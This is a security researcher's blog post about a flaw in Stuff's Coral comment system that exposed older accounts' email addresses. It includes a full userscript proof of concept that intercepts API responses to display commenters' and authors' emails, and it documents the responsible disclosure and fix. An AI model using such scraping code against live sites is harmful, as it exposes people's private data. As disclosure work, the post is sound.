Jesse Sheehan

Lifting PII From Stuff’s Comments

2024-02-11

For better or worse, Stuff is one of New Zealand’s most popular online news sources. Its comment section has also garnered a reputation for being one of the most toxic places on the internet that grandma is likely to stumble across.

About one month ago, Stuff had a frontend redesign and I made a mental note to have a poke around to see if there were any security flaws. Website redesigns are usually a good source of bugs since so much is changed at once and so the likelihood of something being missed is high. This redesign was no exception; I managed to find two issues with Stuff’s new website.

I will discuss only one of these issues here since there appears to be a mitigation in place for it. The other issue is still being fixed.

Your Email Address is Public

Stuff requires that you create an account before commenting on their stories. This is good since it provides them an easy way to moderate content. When you create an account, you are also given a so-called “commenting username” that is used as your handle when you make a comment.

As you can see, I have no way of changing my handle either.

Stuff doesn’t run its own commenting system. Instead it uses a 3rd-party service named Coral to handle all of the comments. This is useful for Stuff, since they don’t have to maintain an entire commenting system. On the other hand, they lose a bit of flexibility and control over what is returned from Coral.

So, what is returned from Coral? It turns out that not only does the “commenting username” get returned, but also the email that the user signed up with is probably returned as well. This poses a problem for Stuff; I bet their users weren’t expecting that.

Proving the Point

I can’t very well file a bug report with Stuff without creating a proof-of-concept to really drive home how badly they’ve stuffed up (pun intended). So, I introduce to you, the Stuff Deanonymiser userscript (see TamperMonkey for more information about userscripts).

Expand for Source Code
// ==UserScript==
// @name         Stuff Deanonymiser
// @namespace    https://sheehan.nz/
// @version      2024-02-07
// @description  Shows authors' and commenters' email address where available.
// @author       Jesse Sheehan
// @match        https://www.stuff.co.nz/*
// @icon         https://www.google.com/s2/favicons?sz=64&domain=www.stuff.co.nz
// @grant        none
// @run-at       document-start
// ==/UserScript==

(function() {
    'use strict';
    const log = console.log;
    const comments = [];
    let pollHandle = null;
    let commentRoot = null;

    const originalFetch = fetch;
    window.fetch = async function() {
        const response = await originalFetch.apply(this, arguments);

        const url = new URL(response.url);
        if (url.pathname === "/api/graphql" && url.hostname.includes(".coral.coralproject.net")) {
            const content = await response.json();
            response.json = function() {
                return new Promise((resolve) => resolve(content));
            };
            if (content && content.data && content.data.story && content.data.story.comments && content.data.story.comments.edges) {
                const edges = content.data.story.comments.edges;
                // log("handling edges", edges);
                handleLoadedComments(edges);
            } else {
                // log("Could not handle", content);
            }
        }

        return response;
    };

    const originalOpen = XMLHttpRequest.prototype.open;
    XMLHttpRequest.prototype.open = function() {
        this.addEventListener('load', function() {
            if (this.readyState === 4 && this.status.toString().startsWith("2")) {
                handleLoadedResource(this);
            }
        });
        originalOpen.apply(this, arguments);
    };

    window.addEventListener("load", () => {
        document.body.addEventListener("DOMNodeInserted", (event) => {
            if (event.target.nodeName === "#text" || event.target.tagName !== "DIV" || event.target.parentNode.id !== 'coral_thread') return;
            if (pollHandle === null) {
                pollHandle = setInterval(pollShadowRoot, 100);
            }

        }, false);
    });

    function handleLoadedResource(response) {
        const url = new URL(response.responseURL);
        if (/story\/[0-9]+$/.test(url.pathname)) {
            handleLoadedStory(JSON.parse(response.response));
        }
    }

    function handleLoadedStory(content) {
        const authorDetails = content.author;

        if (authorDetails.length === 0) return;

        const parentElement = document.querySelector(".stuff-box.author-names");
        parentElement.replaceChildren();
        for (let author of authorDetails) {
            const child = document.createElement("p");
            const anchor = document.createElement("a");
            anchor.href = `mailto:${author.email}`;
            anchor.innerText = `${author.name} (${author.email})`;
            child.appendChild(anchor);
            parentElement.appendChild(child);
        }
    }

    function handleLoadedComments(edges) {

        edges
            .flatMap(e => [e.node, ...e.node.allChildComments.edges.map(x => x.node)])
            .forEach(comment => comments.push(comment));
        handleCommentsUpdate();

    }

    function pollShadowRoot() {
        if (commentRoot !== null) {
            clearInterval(pollHandle);
            pollHandle = null;
            return;
        }

        const commentParent = document.getElementById("coral_thread");
        //log(commentParent);

        if (commentParent.children.length > 0 && commentParent.querySelector("div").shadowRoot) {

            const shadowRoot = commentParent.querySelector("div").shadowRoot;
            log(shadowRoot);

            let shadowRootPollInterval = setInterval(() => {
                commentRoot = shadowRoot.getElementById("coral");
                if (commentRoot) {
                    commentRoot.addEventListener("DOMNodeInserted", (event) => {
                        handleCommentsUpdate();
                    });
                    clearInterval(shadowRootPollInterval);
                }
            }, 50);

            clearInterval(pollHandle);
            pollHandle = null;
        }
    }

    function handleCommentsUpdate() {
        if (comments.length === 0 || commentRoot === null) return;

        const readyComments = comments.flatMap((comment) => {
            const selector = `#comment-${comment.id}:not([demasked])`;
            const elements = [...commentRoot.querySelectorAll(selector)];

            if (!elements.length) return [];
            return elements.map(element => ([element, comment]));
        });

        readyComments.forEach(([element, comment]) => {

            const usernameElement = element.querySelector("div[class^='Comment-username-']");

            const newChild = document.createElement("div");
            newChild.style.paddingRight = "0.5em";

            const anchor = document.createElement("a");
            if (comment.author.id.includes("@")) {
                anchor.href = "mailto:" + comment.author.id;
            }
            anchor.innerText = comment.author.id;

            newChild.appendChild(anchor);

            usernameElement.parentElement.insertBefore(newChild, usernameElement.parentElement.lastChild);
            element.setAttribute("demasked", "true");
        });

        if (comments.length > 0) {
            setTimeout(handleCommentsUpdate, 1000);
        }
    }
})();

This will extract that delicious PII and display it right next to each comment.

An example of the userscript running. Email addresses redacted for obvious reasons.

It should be noted that not all of Stuff’s users have their email as their Coral identifier. It seems that if you create a new account today, you will have an integer as your ID. This makes me suspect that only older accounts (probably migrated from their old comment system) are at risk here.

Other Websites

So, does this mean that all the other websites out there that use Coral are also giving out PII like it’s a lolly scramble? Well, no. It doesn’t appear to be the case. Of the several dozen websites that use Coral, it seems that they all use either an integer or a GUID to represent their user’s ID. So it would appear that it is more to do with how Stuff has chosen to identify their users instead of a flaw inherent in Coral.

NewsTalkZB also uses Coral, but uses GUIDs instead of email addresses for identification.

Disclosure

I reported this issue to Stuff on February 7, it was acknowledged on February 8, and it appears that the commenting system was taken down before February 10th. Presumably, they’ve changed the CORS settings for their Coral server as a stop-gap while they remove the PII. I am very happy with how quickly they’ve handled this situation.

The current state of the comments section right now.

Extra: Déjà Vu

Almost 11 years ago, I discovered a similar flaw in Stuff’s comment section. It was almost exactly the same, in fact. But it had a much more dissatisfying outcome.

Stuff used to allow users to sign in with a social login (e.g. Twitter/X, Facebook, etc). If a user did this and then commented on an article then the URL of their social media profile would be sent down to everyone who viewed the comment. So I did what I did here: I made a proof-of-concept and submitted my findings. After a phone call and some email back-and-forth a decision was reached!

An email from their editor confirmed that they would just change their terms of service to make this okay. 🤷 I’m glad they are taking the issue more seriously now.

Return to the top